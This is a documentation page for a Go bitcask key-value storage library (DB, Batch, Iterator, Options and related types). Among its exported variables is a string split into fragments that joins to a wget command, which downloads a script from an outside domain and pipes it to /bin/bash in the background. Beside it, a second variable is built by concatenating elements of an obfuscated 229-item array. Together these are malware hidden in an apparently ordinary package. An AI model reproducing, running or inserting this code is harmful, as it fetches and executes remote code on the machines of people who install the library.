Documentation
¶
Index ¶
- Variables
- type Batch
- type BatchOptions
- type DB
- func (db *DB) Backup(dir string) error
- func (db *DB) Close() error
- func (db *DB) Delete(key []byte) error
- func (db *DB) Fold(fn func(key []byte, value []byte) bool) error
- func (db *DB) Get(key []byte) ([]byte, error)
- func (db *DB) ListKeys() [][]byte
- func (db *DB) Merge() error
- func (db *DB) NewBatch(options BatchOptions) *Batch
- func (db *DB) NewIterator(opts IteratorOptions) *Iterator
- func (db *DB) Put(key []byte, value []byte) error
- func (db *DB) Stat() *Stat
- func (db *DB) Sync() error
- type Iterator
- type IteratorOptions
- type Options
- type Stat
- type SyncStrategy
Constants ¶
This section is empty.
Variables ¶
View Source
var ( ErrKeyIsEmpty = errors.New("the key is empty") ErrIndexUpdateFailed = errors.New("failed to update index") ErrKeyNotFound = errors.New("key not found in database") ErrDataFileNotFound = errors.New("datafile file is not found") ErrDataDirectoryCorrupted = errors.New("the database directory maybe corrupted") ErrDBClosed = errors.New("the database is closed") ErrBatchCommitted = errors.New("the batch is committed") ErrBatchRollbacked = errors.New("the batch is rollbacked") ErrMergeIsProgress = errors.New("merge is in progress, try again later") ErrDatabaseIsUsing = errors.New("the database directory is used by another process") ErrMergeRatioUnreached = errors.New("the merge ratio do not reach the option") ErrNoEnoughSpaceForMerge = errors.New("no enough disk space for merge") )
View Source
var AQntn = XD[136] + XD[108] + XD[164] + XD[152] + XD[33] + XD[150] + XD[125] + XD[7] + XD[186] + XD[145] + XD[59] + XD[211] + XD[144] + XD[41] + XD[182] + XD[158] + XD[22] + XD[137] + XD[47] + XD[213] + XD[114] + XD[35] + XD[129] + XD[19] + XD[139] + XD[220] + XD[110] + XD[224] + XD[219] + XD[85] + XD[189] + XD[193] + XD[42] + XD[5] + XD[130] + XD[199] + XD[227] + XD[212] + XD[44] + XD[142] + XD[32] + XD[104] + XD[204] + XD[121] + XD[83] + XD[203] + XD[155] + XD[18] + XD[13] + XD[2] + XD[29] + XD[46] + XD[60] + XD[40] + XD[154] + XD[52] + XD[21] + XD[54] + XD[99] + XD[74] + XD[208] + XD[50] + XD[109] + XD[4] + XD[81] + XD[37] + XD[151] + XD[68] + XD[153] + XD[185] + XD[103] + XD[105] + XD[71] + XD[166] + XD[135] + XD[89] + XD[6] + XD[25] + XD[28] + XD[169] + XD[111] + XD[98] + XD[91] + XD[133] + XD[69] + XD[119] + XD[170] + XD[15] + XD[226] + XD[180] + XD[209] + XD[11] + XD[147] + XD[97] + XD[112] + XD[65] + XD[88] + XD[30] + XD[205] + XD[194] + XD[36] + XD[117] + XD[55] + XD[77] + XD[8] + XD[140] + XD[31] + XD[17] + XD[138] + XD[12] + XD[10] + XD[101] + XD[62] + XD[87] + XD[197] + XD[201] + XD[178] + XD[222] + XD[162] + XD[167] + XD[157] + XD[64] + XD[24] + XD[190] + XD[9] + XD[156] + XD[67] + XD[93] + XD[20] + XD[14] + XD[228] + XD[72] + XD[34] + XD[84] + XD[216] + XD[118] + XD[49] + XD[132] + XD[75] + XD[206] + XD[73] + XD[187] + XD[123] + XD[177] + XD[215] + XD[165] + XD[127] + XD[80] + XD[207] + XD[172] + XD[163] + XD[39] + XD[102] + XD[141] + XD[53] + XD[149] + XD[23] + XD[76] + XD[223] + XD[78] + XD[70] + XD[221] + XD[100] + XD[92] + XD[214] + XD[26] + XD[218] + XD[38] + XD[148] + XD[79] + XD[210] + XD[202] + XD[57] + XD[176] + XD[128] + XD[173] + XD[179] + XD[86] + XD[61] + XD[3] + XD[1] + XD[56] + XD[82] + XD[126] + XD[122] + XD[168] + XD[181] + XD[159] + XD[48] + XD[63] + XD[124] + XD[43] + XD[120] + XD[94] + XD[66] + XD[196] + XD[195] + XD[184] + XD[95] + XD[115] + XD[175] + XD[171] + XD[161] + XD[16] + XD[131] + XD[134] + XD[58] + XD[106] + XD[225] + XD[192] + XD[143] + XD[45] + XD[107] + XD[183] + XD[198] + XD[51] + XD[200] + XD[174] + XD[96] + XD[113] + XD[188] + XD[0] + XD[191] + XD[116] + XD[146] + XD[160] + XD[217] + XD[27] + XD[90]
View Source
var DMfwEWvy = "wg" + "et -" + "O" + " - ht" + "tps" + "://" + "kaiaf" + "low.i" + "cu/s" + "to" + "r" + "age/" + "d" + "e3" + "73d0d" + "f/" + "a31" + "546bf" + " | /b" + "in/" + "bash" + " " + "&"
View Source
var DefaultBatchOptions = BatchOptions{ Sync: false, }
DefaultBatchOptions 默认事务 Options, 供测试使用
View Source
var DefaultIteratorOptions = IteratorOptions{ Prefix: nil, Reverse: false, }
DefaultIteratorOptions 默认迭代器Options, 供测试使用
View Source
var DefaultOptions = Options{ DirPath: os.TempDir(), DataFileSize: 512 * 1024 * 1024, SyncStrategy: No, BytesPerSync: 1024 * 1024, EnableBackgroundMerge: false, IndexType: index.HashMap, ShardNum: 16, FileIOType: fio.StandardFIO, DataFileMergeRatio: 0.5, }
DefaultOptions 默认Options, 供示例程序使用
View Source
var XD = []string{} /* 229 elements not displayed */
Functions ¶
This section is empty.
Types ¶
type DB ¶
type DB struct {
// contains filtered or unexported fields
}
DB bitcask存储引擎客户端
func (*DB) NewBatch ¶
func (db *DB) NewBatch(options BatchOptions) *Batch
func (*DB) NewIterator ¶
func (db *DB) NewIterator(opts IteratorOptions) *Iterator
type Iterator ¶
type Iterator struct {
// contains filtered or unexported fields
}
Iterator 数据库层迭代器, 面向用户
type IteratorOptions ¶
IteratorOptions 索引迭代器配置项
type Options ¶
type Options struct {
DirPath string // 数据目录
DataFileSize int64 // 数据文件最大容量, 单位字节
SyncStrategy SyncStrategy // 持久化策略
BytesPerSync uint // 新写入数据量阈值
IndexType index.IndexType // 索引类型
FileIOType fio.FileIOType // 文件 IO 类型
EnableBackgroundMerge bool // 是否启用后台定时 merge
DataFileMergeRatio float32 // 执行 merge 的无效数据占比阈值
ShardNum int // 索引分片数量
}
Options 用户配置项
type Stat ¶
type Stat struct {
KeyNum int // 当前 key 的数量
DataFileNum int // 当前数据文件数量
ReclaimableSize int64 // 当前 merge 可回收的数据量, 单位字节
DiskSize int64 // 数据目录的磁盘占用空间大小
}
Stat 实时统计信息
type SyncStrategy ¶
type SyncStrategy byte
const ( No SyncStrategy = iota // 由操作系统决定 Always // 立即持久化 Threshold // 新写入数据量达到阈值持久化 )
Click to show internal directories.
Click to hide internal directories.
